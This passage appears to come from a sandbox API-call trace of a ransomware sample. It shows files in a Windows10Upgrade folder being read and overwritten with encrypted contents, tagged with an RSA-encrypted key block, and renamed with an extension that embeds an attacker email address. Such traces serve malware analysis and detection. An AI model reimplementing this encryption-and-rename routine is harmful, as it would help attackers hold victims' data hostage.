lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0130.095] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0130.095] WriteFile (in: hFile=0x470, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0130.095] CloseHandle (hObject=0x470) returned 1 [0130.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0130.103] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\GetCurrentDeploy.dll" (normalized: "c:\\windows10upgrade\\getcurrentdeploy.dll"), lpNewFileName="\\Windows10Upgrade\\GetCurrentDeploy.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\getcurrentdeploy.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0130.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0130.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0130.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0130.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0130.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beec8 [0130.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0130.104] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0130.104] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\GatherOSState.EXE", dwFileAttributes=0x80) returned 1 [0130.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0130.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0130.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0130.105] CreateFileW (lpFileName="\\Windows10Upgrade\\GatherOSState.EXE" (normalized: "c:\\windows10upgrade\\gatherosstate.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0130.105] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=564936) returned 1 [0130.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x89ec8) returned 0x314d020 [0130.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x89ec8) returned 0x31e7020 [0130.106] ReadFile (in: hFile=0x470, lpBuffer=0x314d020, nNumberOfBytesToRead=0x89ec8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x314d020*, lpNumberOfBytesRead=0x2e3f9b4*=0x89ec8, lpOverlapped=0x0) returned 1 [0130.273] SetFilePointer (in: hFile=0x470, lDistanceToMove=-564936, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.273] WriteFile (in: hFile=0x470, lpBuffer=0x31e7020*, nNumberOfBytesToWrite=0x89ec8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x31e7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x89ec8, lpOverlapped=0x0) returned 1 [0130.275] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x314d020 | out: hHeap=0x570000) returned 1 [0130.275] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x31e7020 | out: hHeap=0x570000) returned 1 [0130.276] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x89ec8 [0130.276] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0130.276] WriteFile (in: hFile=0x470, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0130.276] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0130.276] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0130.276] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0130.276] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0130.276] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="hZDaqjTHAKErolNFnwsNVYw4j4D7iBr8fGUCVg/YCtHeCv3l9qSDnm+SN0G6AsAz\ncxs96PlimIXhCzoyvScgC1Cmi9eTmM75DKy8OWgrUVpkpeb+ZOm2N6jZRaDZ4lsm\nGnkZgpO/xR7eaF5OPYA/LabLKOhPeMlztY3cIbCYawd44Ddpn/EZxzbHD6je+X+T\n+beGIWrT4NcmVkgTAJEt6UTltGkJ9LiXrIuRGWgN5bxpqF4f6pU+2w3cmjxmkVBT\nQR323+Mm8FvqO8Yq/Ti968QIk+zVbr4WT8mftDIHUkiUPUFE+653ZbowKT7iyAqz\nBMuCrfaqAlOGmY5n2rfOmA==\n", pcchString=0x2e3f9a8) returned 1 [0130.276] WriteFile (in: hFile=0x470, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0130.277] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0130.277] WriteFile (in: hFile=0x470, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0130.277] CloseHandle (hObject=0x470) returned 1 [0130.287] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0130.287] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\GatherOSState.EXE" (normalized: "c:\\windows10upgrade\\gatherosstate.exe"), lpNewFileName="\\Windows10Upgrade\\GatherOSState.EXE.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\gatherosstate.exe.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0130.347] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0130.347] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0130.347] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0130.347] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0130.347] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c78d0 [0130.347] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0130.347] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0130.347] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\esdstub.dll", dwFileAttributes=0x80) returned 1 [0130.347] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7ba0 [0130.347] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0130.347] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7ba0 | out: hHeap=0x570000) returned 1 [0130.348] CreateFileW (lpFileName="\\Windows10Upgrade\\esdstub.dll" (normalized: "c:\\windows10upgrade\\esdstub.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0130.348] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=40648) returned 1 [0130.348] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x9ec8) returned 0x5d7830 [0130.348] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x9ec8) returned 0x5e1700 [0130.348] ReadFile (in: hFile=0x470, lpBuffer=0x5d7830, nNumberOfBytesToRead=0x9ec8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d7830*, lpNumberOfBytesRead=0x2e3f9b4*=0x9ec8, lpOverlapped=0x0) returned 1 [0130.392] SetFilePointer (in: hFile=0x470, lDistanceToMove=-40648, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.392] WriteFile (in: hFile=0x470, lpBuffer=0x5e1700*, nNumberOfBytesToWrite=0x9ec8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e1700*, lpNumberOfBytesWritten=0x2e3f9b4*=0x9ec8, lpOverlapped=0x0) returned 1 [0130.392] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d7830 | out: hHeap=0x570000) returned 1 [0130.393] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e1700 | out: hHeap=0x570000) returned 1 [0130.395] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x9ec8 [0130.396] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0130.396] WriteFile (in: hFile=0x470, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0130.396] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0130.396] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0130.397] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0130.397] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0130.397] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="xEz/xOFw4qyv+68qscNo5FSpDT6Dq/pkW9aKvVYO3DvDsJXXLTsbb1fS8nki5HWL\n3LQ+JXV+lsUYxTXdl7JztgXf+JyXP7qUiBrdTFeccoLfkIEODRXLAL6RTBjoatV9\n+18ra0wYR7ymL4PWSc3APwrPHZk3nqKMtoQiv9qykEFTBdX23sxWwAQmlsmzciIE\nz5jr8mtNR4piPon2jDhByg6x2aPMRRbfIvwUi8FLafdO5EQ++4MpandBzhHXudnH\nuEC4tw/D6W6UDnf9Z4WFyV3XRfkt8ovZGTT5PsnIqBuht+nBwOSmTBmmYc0B+k57\n7iJCpKLFQRp8FfEWrWSfqA==\n", pcchString=0x2e3f9a8) returned 1 [0130.397] WriteFile (in: hFile=0x470, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0130.398] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0130.398] WriteFile (in: hFile=0x470, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0130.398] CloseHandle (hObject=0x470) returned 1 [0130.399] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0130.399] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\esdstub.dll" (normalized: "c:\\windows10upgrade\\esdstub.dll"), lpNewFileName="\\Windows10Upgrade\\esdstub.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\esdstub.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0130.401] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0130.401] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0130.401] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c78d0 | out: hHeap=0x570000) returned 1 [0130.401] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x570000) returned 1 [0130.401] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7e28 [0130.401] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0130.401] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0130.401] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\ESDHelper.dll", dwFileAttributes=0x80) returned 1 [0130.402] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7d98 [0130.402] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0130.402] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7d98 | out: hHeap=0x570000) returned 1 [0130.402] CreateFileW (lpFileName="\\Windows10Upgrade\\ESDHelper.dll" (normalized: "c:\\windows10upgrade\\esdhelper.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0130.402] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=68808) returned 1 [0130.402] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10cc8) returned 0x5d7830 [0130.402] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10cc8) returned 0x5e8500 [0130.402] ReadFile (in: hFile=0x470, lpBuffer=0x5d7830, nNumberOfBytesToRead=0x10cc8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d7830*, lpNumberOfBytesRead=0x2e3f9b4*=0x10cc8, lpOverlapped=0x0) returned 1 [0130.429] SetFilePointer (in: hFile=0x470, lDistanceToMove=-68808, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.429] WriteFile (in: hFile=0x470, lpBuffer=0x5e8500*, nNumberOfBytesToWrite=0x10cc8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e8500*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10cc8, lpOverlapped=0x0) returned 1 [0130.429] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d7830 | out: hHeap=0x570000) returned 1 [0130.431] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e8500 | out: hHeap=0x570000) returned 1 [0130.433] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10cc8 [0130.433] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0130.433] WriteFile (in: hFile=0x470, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0130.433] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0130.433] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0130.435] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0130.435] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0130.435] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="J2uQSE4Vmh00nUrQMW09LPrwuZz19zsDTSQMkG2so9uZzm9A2gjc1+tZiz/pVPwZ\nS3Qzsq6xbS6QiUFPbxGRrOWJlMiLymUdBbfvPnVvfpS3l0UIwPK2+MZc22xlv+nv\nQfoTLr55sCltL5rnwJPjaA020KkXnlr0XF/Pb9fbSMl+XghI4UDnrzhQ8WI0ZYnM\nr3KcjUPLVp1/fL6tYZYpBCuiWsjT6NwiQxln9bxV/mhabcB2skRWFBlZDtvuz00p\n+aqQF/eiqowofvU3HtQ77semWkzy21eRFHxgEnnY2my/6Y9Y/Ny+WKNeA+bDCFTr\nGbI8aoOYZLNLtH3El0gUQA==\n", pcchString=0x2e3f9a8) returned 1 [0130.435] WriteFile (in: hFile=0x470, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0130.435] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0130.435] WriteFile (in: hFile=0x470, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0130.435] CloseHandle (hObject=0x470) returned 1 [0130.436] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0130.436] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\ESDHelper.dll" (normalized: "c:\\windows10upgrade\\esdhelper.dll"), lpNewFileName="\\Windows10Upgrade\\ESDHelper.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\esdhelper.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0130.438] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0130.438] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0130.438] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7e28 | out: hHeap=0x570000) returned 1 [0130.438] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7b10 | out: hHeap=0x570000) returned 1 [0130.438] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee70 [0130.438] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0130.438] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0130.438] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\EnableWiFiTracing.cmd", dwFileAttributes=0x80) returned 1 [0130.439] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beec8 [0130.439] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0130.439] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0130.439] CreateFileW (lpFileName="\\Windows10Upgrade\\EnableWiFiTracing.cmd" (normalized: "c:\\windows10upgrade\\enablewifitracing.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0130.439] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=9810) returned 1 [0130.439] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2652) returned 0x5d7830 [0130.439] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2652) returned 0x5d9e90 [0130.439] ReadFile (in: hFile=0x470, lpBuffer=0x5d7830, nNumberOfBytesToRead=0x2652, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d7830*, lpNumberOfBytesRead=0x2e3f9b4*=0x2652, lpOverlapped=0x0) returned 1 [0130.440] SetFilePointer (in: hFile=0x470, lDistanceToMove=-9810, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.440] WriteFile (in: hFile=0x470, lpBuffer=0x5d9e90*, nNumberOfBytesToWrite=0x2652, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d9e90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2652, lpOverlapped=0x0) returned 1 [0130.441] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d7830 | out: hHeap=0x570000) returned 1 [0130.441] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d9e90 | out: hHeap=0x570000) returned 1 [0130.441] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2652 [0130.441] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0130.441] WriteFile (in: hFile=0x470, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0130.441] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0130.441] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0130.441] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0130.441] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0130.441] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="bPjqdz4oOVnsJY/FPdiS1BL6bq+DIJcGMxQ3nsS5VY3UHlubLhVoooloRgtcrobp\n2MUi7JB8u09A52NLzga5zX9vZ1oh2gKt6/Mg4ZpsC9Gfk4zMnfhOKOF0MoHxDTMa\nr+7qwfG4jqMJIeUNFpRmpxvJrR7dm2whdImV38fiEhN4C+8D6LZyY94llfxcguC8\nv2f2ESusPVCSNhyvA7FJdfyYBTiLKu2vojBf/D8+nv9UaLkTpUh0Btje6picw9zc\nL/qYbh3hRbrLBr7QllSIS92SX0a9hZuarrVvl0RgsKDpsS0wcJJvZ1udhYl9zySs\nPZKSGInkVjgG43hmtsg+mg==\n", pcchString=0x2e3f9a8) returned 1 [0130.441] WriteFile (in: hFile=0x470, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0130.441] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0130.441] WriteFile (in: hFile=0x470, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0130.441] CloseHandle (hObject=0x470) returned 1 [0130.442] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0130.442] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\EnableWiFiTracing.cmd" (normalized: "c:\\windows10upgrade\\enablewifitracing.cmd"), lpNewFileName="\\Windows10Upgrade\\EnableWiFiTracing.cmd.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\enablewifitracing.cmd.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0130.489] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0130.489] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0130.489] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0130.489] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0130.489] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7b10 [0130.489] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0130.489] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0130.489] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\DWTRIG20.EXE", dwFileAttributes=0x80) returned 1 [0130.490] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7f48 [0130.490] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0130.490] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7f48 | out: hHeap=0x570000) returned 1 [0130.490] CreateFileW (lpFileName="\\Windows10Upgrade\\DWTRIG20.EXE" (normalized: "c:\\windows10upgrade\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 